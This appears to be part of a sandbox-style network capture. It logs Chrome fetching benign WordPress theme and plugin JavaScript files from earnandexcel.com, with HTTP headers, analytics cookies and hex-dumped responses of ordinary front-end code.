2024-04-11 21:26:45 UTC	620	IN	Data Raw: 69 73 29 2e 74 65 78 74 28 29 29 2c 65 2b 3d 22 20 22 2b 63 29 2c 74 2b 3d 27 3c 6c 69 20 63 6c 61 73 73 3d 22 27 2b 65 2b 27 22 20 64 61 74 61 2d 76 61 6c 75 65 3d 22 27 2b 6e 28 74 68 69 73 29 2e 76 61 6c 28 29 2b 27 22 3e 27 2b 6e 28 74 68 69 73 29 2e 74 65 78 74 28 29 2b 22 3c 2f 6c 69 3e 22 7d 29 2c 74 3d 27 3c 75 6c 20 63 6c 61 73 73 3d 22 65 64 75 6d 61 6c 6c 2d 6e 69 63 65 2d 73 65 6c 65 63 74 22 3e 27 2b 74 2b 22 3c 2f 75 6c 3e 22 3b 76 61 72 20 6c 3d 6e 28 27 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 64 75 6d 61 6c 6c 2d 6e 69 63 65 2d 73 65 6c 65 63 74 2d 77 72 61 70 22 3e 3c 2f 64 69 76 3e 27 29 3b 6c 2e 61 70 70 65 6e 64 28 61 29 2e 61 70 70 65 6e 64 28 74 29 2c 61 2e 6f 6e 28 22 63 6c 69 63 6b 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 6c 2e 61 64 Data Ascii: is).text()),e+=" "+c),t+='<li class="'+e+'" data-value="'+n(this).val()+'">'+n(this).text()+"</li>"}),t='<ul class="edumall-nice-select">'+t+"</ul>";var l=n('<div class="edumall-nice-select-wrap"></div>');l.append(a).append(t),a.on("click",function(){l.ad
2024-04-11 21:26:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.17	49844	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:44 UTC	974	OUT	GET /wp-content/themes/edumall/assets/js/main.min.js HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1
2024-04-11 21:26:45 UTC	936	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:45 GMT Content-Type: application/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e83293e198e-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"60df32df-2632" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:07 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Dp8QrptN6DdNQ3398ILYVGdX8N2KHZIG40J08oJrHZXgl06vPVlhGT1Swfm5fqK3q5xLHgwPt9KFckypJguGCQWl%2BcHqbcYMhdppzB3O8WN41AqyglhYpdPurEhuj35X41Y%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:45 UTC	433	IN	Data Raw: 32 36 33 32 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 73 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 61 2c 72 3d 73 28 77 69 6e 64 6f 77 29 2c 64 3d 73 28 22 68 74 6d 6c 22 29 2c 75 3d 73 28 22 62 6f 64 79 22 29 2c 63 3d 73 28 22 23 70 61 67 65 2d 68 65 61 64 65 72 22 29 2c 69 3d 73 28 22 23 70 61 67 65 2d 68 65 61 64 65 72 2d 69 6e 6e 65 72 22 29 2c 6f 3d 28 73 28 22 23 70 61 67 65 2d 63 6f 6e 74 65 6e 74 22 29 2c 70 61 72 73 65 49 6e 74 28 24 65 64 75 6d 61 6c 6c 2e 68 65 61 64 65 72 5f 73 74 69 63 6b 79 5f 68 65 69 67 68 74 29 2c 32 30 30 29 2c 74 3d 77 69 6e 64 6f 77 2e 69 6e 6e 65 72 57 69 64 74 68 3b 66 75 6e 63 74 69 6f 6e 20 6d 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 61 74 74 72 28 22 68 72 65 66 22 29 7c 7c 65 2e 64 61 74 61 28 22 68 72 65 Data Ascii: 2632!function(s){"use strict";var a,r=s(window),d=s("html"),u=s("body"),c=s("#page-header"),i=s("#page-header-inner"),o=(s("#page-content"),parseInt($edumall.header_sticky_height),200),t=window.innerWidth;function m(e){return e.attr("href")\|\|e.data("hre
2024-04-11 21:26:45 UTC	1369	IN	Data Raw: 31 22 3d 3d 69 2e 64 61 74 61 28 22 73 74 69 63 6b 79 22 29 26 26 28 65 3d 69 2e 68 65 69 67 68 74 28 29 2c 28 22 31 22 21 3d 69 2e 64 61 74 61 28 22 68 65 61 64 65 72 2d 76 65 72 74 69 63 61 6c 22 29 7c 7c 6e 3c 24 65 64 75 6d 61 6c 6c 2e 6d 6f 62 69 6c 65 5f 6d 65 6e 75 5f 62 72 65 61 6b 70 6f 69 6e 74 29 26 26 28 61 2b 3d 65 29 29 2c 36 30 30 3c 6e 26 26 28 6e 3d 73 28 22 23 77 70 61 64 6d 69 6e 62 61 72 22 29 2e 68 65 69 67 68 74 28 29 2c 61 2b 3d 6e 29 2c 30 3c 61 26 26 28 61 3d 2d 61 29 2c 61 7d 28 29 3b 73 2e 73 6d 6f 6f 74 68 53 63 72 6f 6c 6c 28 7b 6f 66 66 73 65 74 3a 6e 2c 73 63 72 6f 6c 6c 54 61 72 67 65 74 3a 73 28 65 29 2c 73 70 65 65 64 3a 36 30 30 2c 65 61 73 69 6e 67 3a 22 6c 69 6e 65 61 72 22 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 66 28 29 Data Ascii: 1"==i.data("sticky")&&(e=i.height(),("1"!=i.data("header-vertical")\|\|n<$edumall.mobile_menu_breakpoint)&&(a+=e)),600<n&&(n=s("#wpadminbar").height(),a+=n),0<a&&(a=-a),a}();s.smoothScroll({offset:n,scrollTarget:s(e),speed:600,easing:"linear"})}function f()
2024-04-11 21:26:45 UTC	1369	IN	Data Raw: 67 69 6e 4c 65 66 74 3a 30 7d 29 3a 28 65 3d 69 2e 6f 75 74 65 72 57 69 64 74 68 28 29 2c 64 2e 63 73 73 28 7b 6d 61 72 67 69 6e 4c 65 66 74 3a 65 2b 22 70 78 22 7d 29 29 29 7d 73 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 61 2c 6f 2c 69 2c 74 2c 6c 2c 65 3b 67 28 29 2c 31 3d 3d 24 65 64 75 6d 61 6c 6c 2e 73 63 72 6f 6c 6c 5f 74 6f 70 5f 65 6e 61 62 6c 65 26 26 28 6e 3d 73 28 22 23 70 61 67 65 2d 73 63 72 6f 6c 6c 2d 75 70 22 29 2c 61 3d 30 2c 72 2e 73 63 72 6f 6c 6c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 73 28 74 68 69 73 29 2e 73 63 72 6f 6c 6c 54 6f 70 28 29 3b 21 28 61 3c 65 29 26 26 32 30 30 3c 72 2e 73 63 72 6f 6c 6c 54 6f 70 28 29 3f 6e 2e 61 64 64 43 6c 61 73 73 28 22 73 68 Data Ascii: ginLeft:0}):(e=i.outerWidth(),d.css({marginLeft:e+"px"})))}s(document).ready(function(){var n,a,o,i,t,l,e;g(),1==$edumall.scroll_top_enable&&(n=s("#page-scroll-up"),a=0,r.scroll(function(){var e=s(this).scrollTop();!(a<e)&&200<r.scrollTop()?n.addClass("sh
2024-04-11 21:26:45 UTC	1369	IN	Data Raw: 6c 6c 65 72 79 28 7b 73 65 6c 65 63 74 6f 72 3a 22 61 22 2c 66 75 6c 6c 53 63 72 65 65 6e 3a 21 31 2c 7a 6f 6f 6d 3a 21 31 2c 67 65 74 43 61 70 74 69 6f 6e 46 72 6f 6d 54 69 74 6c 65 4f 72 41 6c 74 3a 21 31 2c 63 6f 75 6e 74 65 72 3a 21 31 7d 29 7d 29 2c 6f 3d 73 28 22 23 70 6f 70 75 70 2d 73 65 61 72 63 68 22 29 2c 73 28 22 23 70 61 67 65 2d 6f 70 65 6e 2d 70 6f 70 75 70 2d 73 65 61 72 63 68 22 29 2e 6f 6e 28 22 63 6c 69 63 6b 22 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 75 2e 61 64 64 43 6c 61 73 73 28 22 70 61 67 65 2d 73 65 61 72 63 68 2d 70 6f 70 75 70 2d 6f 70 65 6e 65 64 22 29 2c 6f 2e 61 64 64 43 6c 61 73 73 28 22 6f 70 65 6e 22 29 2c 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 Data Ascii: llery({selector:"a",fullScreen:!1,zoom:!1,getCaptionFromTitleOrAlt:!1,counter:!1})}),o=s("#popup-search"),s("#page-open-popup-search").on("click",function(e){e.preventDefault(),u.addClass("page-search-popup-opened"),o.addClass("open"),setTimeout(function(
2024-04-11 21:26:45 UTC	1369	IN	Data Raw: 64 65 72 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 75 72 73 65 2d 74 68 75 6d 62 6e 61 69 6c 2d 70 6c 61 63 65 68 6f 6c 64 65 72 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 75 72 73 65 2d 63 61 70 74 69 6f 6e 2d 70 6c 61 63 65 68 6f 6c 64 65 72 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 75 72 73 65 2d 74 69 74 6c 65 2d 70 6c 61 63 65 68 6f 6c 64 65 72 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 75 72 73 65 2d 70 72 69 63 65 2d 70 6c 61 63 65 68 6f 6c 64 65 72 22 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 6c 69 3e 27 3b 6f 3d 27 3c 75 6c 20 63 6c 61 73 73 3d 22 63 68 69 6c 64 72 65 6e 20 63 6f 75 72 73 65 2d 6c 69 73 74 20 63 6f 75 72 73 65 2d 70 6c 61 63 65 68 6f 6c 64 65 72 22 3e Data Ascii: der"><div class="course-thumbnail-placeholder"></div><div class="course-caption-placeholder"><div class="course-title-placeholder"></div><div class="course-price-placeholder"></div></div></div></li>';o='<ul class="children course-list course-placeholder">
2024-04-11 21:26:45 UTC	1369	IN	Data Raw: 6c 61 73 73 28 22 6f 70 65 6e 65 64 22 29 2c 6e 2e 66 69 6e 64 28 22 2e 73 75 62 2d 6d 65 6e 75 2c 20 2e 63 68 69 6c 64 72 65 6e 22 29 2e 73 74 6f 70 28 29 2e 73 6c 69 64 65 55 70 28 29 29 3a 28 6e 2e 61 64 64 43 6c 61 73 73 28 22 6f 70 65 6e 65 64 22 29 2c 6e 2e 63 68 69 6c 64 72 65 6e 28 22 2e 73 75 62 2d 6d 65 6e 75 2c 20 2e 63 68 69 6c 64 72 65 6e 22 29 2e 73 74 6f 70 28 29 2e 73 6c 69 64 65 44 6f 77 6e 28 29 29 29 7d 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 73 28 22 23 70 61 67 65 2d 6f 70 65 6e 2d 6d 6f 62 69 6c 65 2d 6d 65 6e 75 22 29 2e 6f 6e 28 22 63 6c 69 63 6b 22 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 65 2e 73 74 6f 70 50 72 6f 70 61 67 61 74 69 6f 6e 28 29 3b 76 61 72 20 6e 3d 73 28 22 23 Data Ascii: lass("opened"),n.find(".sub-menu, .children").stop().slideUp()):(n.addClass("opened"),n.children(".sub-menu, .children").stop().slideDown()))}),function(){s("#page-open-mobile-menu").on("click",function(e){e.preventDefault(),e.stopPropagation();var n=s("#
2024-04-11 21:26:45 UTC	1369	IN	Data Raw: 6c 64 72 65 6e 28 22 2e 73 75 62 2d 6d 65 6e 75 22 29 2e 73 74 6f 70 28 29 2e 73 6c 69 64 65 44 6f 77 6e 28 29 29 7d 29 7d 28 29 2c 31 3d 3d 24 65 64 75 6d 61 6c 6c 2e 6e 6f 74 69 63 65 43 6f 6f 6b 69 65 45 6e 61 62 6c 65 26 26 22 79 65 73 22 21 3d 24 65 64 75 6d 61 6c 6c 2e 6e 6f 74 69 63 65 43 6f 6f 6b 69 65 43 6f 6e 66 69 72 6d 26 26 22 22 21 3d 24 65 64 75 6d 61 6c 6c 2e 6e 6f 74 69 63 65 43 6f 6f 6b 69 65 4d 65 73 73 61 67 65 73 26 26 28 73 2e 67 72 6f 77 6c 28 7b 6c 6f 63 61 74 69 6f 6e 3a 22 62 72 22 2c 66 69 78 65 64 3a 21 30 2c 64 75 72 61 74 69 6f 6e 3a 33 36 65 35 2c 73 69 7a 65 3a 22 6c 61 72 67 65 22 2c 74 69 74 6c 65 3a 22 22 2c 6d 65 73 73 61 67 65 3a 24 65 64 75 6d 61 6c 6c 2e 6e 6f 74 69 63 65 43 6f 6f 6b 69 65 4d 65 73 73 61 67 65 73 7d Data Ascii: ldren(".sub-menu").stop().slideDown())})}(),1==$edumall.noticeCookieEnable&&"yes"!=$edumall.noticeCookieConfirm&&""!=$edumall.noticeCookieMessages&&(s.growl({location:"br",fixed:!0,duration:36e5,size:"large",title:"",message:$edumall.noticeCookieMessages}
2024-04-11 21:26:45 UTC	1139	IN	Data Raw: 29 29 2e 6c 65 6e 67 74 68 26 26 28 6e 2e 65 6c 65 6d 65 6e 74 6f 72 57 61 79 70 6f 69 6e 74 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 22 64 6f 77 6e 22 3d 3d 3d 65 26 26 28 61 2e 73 69 62 6c 69 6e 67 73 28 22 6c 69 22 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 22 63 75 72 72 65 6e 74 2d 6d 65 6e 75 2d 69 74 65 6d 22 29 2c 61 2e 61 64 64 43 6c 61 73 73 28 22 63 75 72 72 65 6e 74 2d 6d 65 6e 75 2d 69 74 65 6d 22 29 29 7d 2c 7b 6f 66 66 73 65 74 3a 22 32 35 25 22 7d 29 2c 6e 2e 65 6c 65 6d 65 6e 74 6f 72 57 61 79 70 6f 69 6e 74 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 22 75 70 22 3d 3d 3d 65 26 26 28 61 2e 73 69 62 6c 69 6e 67 73 28 22 6c 69 22 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 22 63 75 72 72 65 6e 74 2d 6d 65 6e 75 2d 69 74 65 6d 22 29 2c 61 2e 61 64 64 Data Ascii: )).length&&(n.elementorWaypoint(function(e){"down"===e&&(a.siblings("li").removeClass("current-menu-item"),a.addClass("current-menu-item"))},{offset:"25%"}),n.elementorWaypoint(function(e){"up"===e&&(a.siblings("li").removeClass("current-menu-item"),a.add
2024-04-11 21:26:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.17	49843	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:44 UTC	1007	OUT	GET /wp-content/plugins/thrive-visual-editor/thrive-dashboard/js/dist/frontend.min.js HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1
2024-04-11 21:26:45 UTC	941	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:45 GMT Content-Type: application/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e834c961962-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"6571c6c3-82a" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Thu, 07 Dec 2023 13:21:07 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NMvhbONNsnC%2BVeKyEeHDD4YtA0HaAawBeC9F5l4GUxpx%2FMtmloTLjIieOvWN2AnMIdjRBPUPGQiE8rhKD0F3lB%2BrMWYdzvT9g2nq5aKsQmZQ3byx9zPj%2BnIPXU8syFFOJ5w%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:45 UTC	428	IN	Data Raw: 38 32 61 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 77 69 6e 64 6f 77 2e 54 56 45 5f 44 61 73 68 3d 77 69 6e 64 6f 77 2e 54 56 45 5f 44 61 73 68 7c 7c 7b 7d 2c 21 65 7c 7c 21 65 2e 24 6a 29 7b 76 61 72 20 61 3d 77 69 6e 64 6f 77 2e 24 2c 65 3d 7b 24 6a 3a 6a 51 75 65 72 79 2e 6e 6f 43 6f 6e 66 6c 69 63 74 28 29 7d 3b 61 26 26 28 77 69 6e 64 6f 77 2e 24 3d 61 29 7d 21 66 75 6e 63 74 69 6f 6e 28 61 29 7b 54 56 45 5f 44 61 73 68 2e 61 6a 61 78 5f 73 65 6e 74 3d 21 31 3b 76 61 72 20 74 3d 7b 7d 2c 73 3d 7b 7d 3b 54 56 45 5f 44 61 73 68 2e 61 64 64 5f 6c 6f 61 64 5f 69 74 65 6d 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 6f 29 7b 76 61 72 20 72 3b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 6f 26 26 28 6f 3d 61 2e 6e 6f 6f 70 29 2c Data Ascii: 82a!function(){if(window.TVE_Dash=window.TVE_Dash\|\|{},!e\|\|!e.$j){var a=window.$,e={$j:jQuery.noConflict()};a&&(window.$=a)}!function(a){TVE_Dash.ajax_sent=!1;var t={},s={};TVE_Dash.add_load_item=function(e,n,o){var r;if("function"!=typeof o&&(o=a.noop),
2024-04-11 21:26:45 UTC	1369	IN	Data Raw: 65 2b 22 20 61 6a 61 78 20 61 63 74 69 6f 6e 20 61 6c 72 65 61 64 79 20 64 65 66 69 6e 65 64 22 29 2c 74 5b 65 5d 3d 6e 2c 73 5b 65 5d 3d 6f 2c 21 30 29 3a 28 63 6f 6e 73 6f 6c 65 2e 65 72 72 6f 72 26 26 63 6f 6e 73 6f 6c 65 2e 65 72 72 6f 72 28 22 6d 69 73 73 69 6e 67 20 61 6a 61 78 20 64 61 74 61 22 29 2c 21 31 29 7d 2c 54 56 45 5f 44 61 73 68 2e 61 6a 61 78 5f 6c 6f 61 64 5f 63 73 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 61 2e 65 61 63 68 28 65 2c 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 61 28 22 6c 69 6e 6b 23 22 2b 28 65 2b 3d 22 2d 63 73 73 22 29 29 2e 6c 65 6e 67 74 68 7c 7c 61 28 27 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 22 27 2b 65 2b 27 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 Data Ascii: e+" ajax action already defined"),t[e]=n,s[e]=o,!0):(console.error&&console.error("missing ajax data"),!1)},TVE_Dash.ajax_load_css=function(e){a.each(e,(function(e,t){a("link#"+(e+="-css")).length\|\|a('<link rel="stylesheet" id="'+e+'" type="text/css" href
2024-04-11 21:26:45 UTC	300	IN	Data Raw: 61 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 54 56 45 5f 44 61 73 68 3d 77 69 6e 64 6f 77 2e 54 56 45 5f 44 61 73 68 7c 7c 54 56 45 5f 44 61 73 68 2c 73 65 74 54 69 6d 65 6f 75 74 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 6e 65 77 20 61 2e 45 76 65 6e 74 28 22 74 76 65 2d 64 61 73 68 2e 6c 6f 61 64 22 29 3b 72 65 74 75 72 6e 20 61 28 64 6f 63 75 6d 65 6e 74 29 2e 74 72 69 67 67 65 72 28 65 29 2c 21 61 2e 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 28 74 29 26 26 21 28 21 74 76 65 5f 64 61 73 68 5f 66 72 6f 6e 74 2e 66 6f 72 63 65 5f 61 6a 61 78 5f 73 65 6e 64 26 26 74 76 65 5f 64 61 73 68 5f 66 72 6f 6e 74 2e 69 73 5f 63 72 61 77 6c 65 72 29 26 26 28 54 56 45 5f 44 61 73 68 2e 73 65 6e 64 5f 61 6a 61 78 28 74 2c 73 29 2c 76 6f Data Ascii: a((function(){window.TVE_Dash=window.TVE_Dash\|\|TVE_Dash,setTimeout((function(){var e=new a.Event("tve-dash.load");return a(document).trigger(e),!a.isEmptyObject(t)&&!(!tve_dash_front.force_ajax_send&&tve_dash_front.is_crawler)&&(TVE_Dash.send_ajax(t,s),vo
2024-04-11 21:26:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.17	49845	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:44 UTC	982	OUT	GET /wp-content/plugins/q2w3-fixed-widget/js/frontend.min.js HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1
2024-04-11 21:26:45 UTC	944	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:45 GMT Content-Type: application/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e835ef617a9-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"63ecad61-5b89" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Wed, 15 Feb 2023 10:01:05 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OhclYPzZksNpqFmwurOLdtQWYcXpBouZKKo9sambYZ%2FKa0hEI5%2BszveXjYi7es9ErlMvjHO2SrwKdb%2BPi%2BZ3F6KG188OOrzF%2F7QWc5PN4pxXD025cW2Zeqyip04rxpVpHxs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:45 UTC	425	IN	Data Raw: 35 62 38 39 0d 0a 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 65 78 74 65 6e 64 53 74 61 74 69 63 73 3d 66 75 6e 63 74 69 6f 6e 28 64 2c 62 29 7b 72 65 74 75 72 6e 20 65 78 74 65 6e 64 53 74 61 74 69 63 73 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 7c 7c 7b 5f 5f 70 72 6f 74 6f 5f 5f 3a 5b 5d 7d 69 6e 73 74 61 6e 63 65 6f 66 20 41 72 72 61 79 26 26 66 75 6e 63 74 69 6f 6e 28 64 2c 62 29 7b 64 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 62 7d 7c 7c 66 75 6e 63 74 69 6f 6e 28 64 2c 62 29 7b 66 6f 72 28 76 61 72 20 70 20 69 6e 20 62 29 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 62 2c 70 29 26 26 28 64 5b 70 5d 3d 62 5b 70 5d 29 7d 2c 65 78 74 65 6e 64 53 74 61 74 69 63 73 Data Ascii: 5b89"use strict";var extendStatics=function(d,b){return extendStatics=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(d,b){d.__proto__=b}\|\|function(d,b){for(var p in b)Object.prototype.hasOwnProperty.call(b,p)&&(d[p]=b[p])},extendStatics
2024-04-11 21:26:45 UTC	1369	IN	Data Raw: 63 6f 6e 73 74 72 75 63 74 6f 72 3d 64 7d 65 78 74 65 6e 64 53 74 61 74 69 63 73 28 64 2c 62 29 2c 64 2e 70 72 6f 74 6f 74 79 70 65 3d 6e 75 6c 6c 3d 3d 3d 62 3f 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 62 29 3a 28 5f 5f 2e 70 72 6f 74 6f 74 79 70 65 3d 62 2e 70 72 6f 74 6f 74 79 70 65 2c 6e 65 77 20 5f 5f 29 7d 76 61 72 20 5f 5f 61 73 73 69 67 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 5f 5f 61 73 73 69 67 6e 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 73 2c 69 3d 31 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 69 3c 6e 3b 69 2b 2b 29 66 6f 72 28 76 61 72 20 70 20 69 6e 20 73 3d 61 72 67 75 6d 65 6e 74 73 5b 69 5d 29 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 Data Ascii: constructor=d}extendStatics(d,b),d.prototype=null===b?Object.create(b):(__.prototype=b.prototype,new __)}var __assign=function(){return __assign=Object.assign\|\|function(t){for(var s,i=1,n=arguments.length;i<n;i++)for(var p in s=arguments[i])Object.prototy
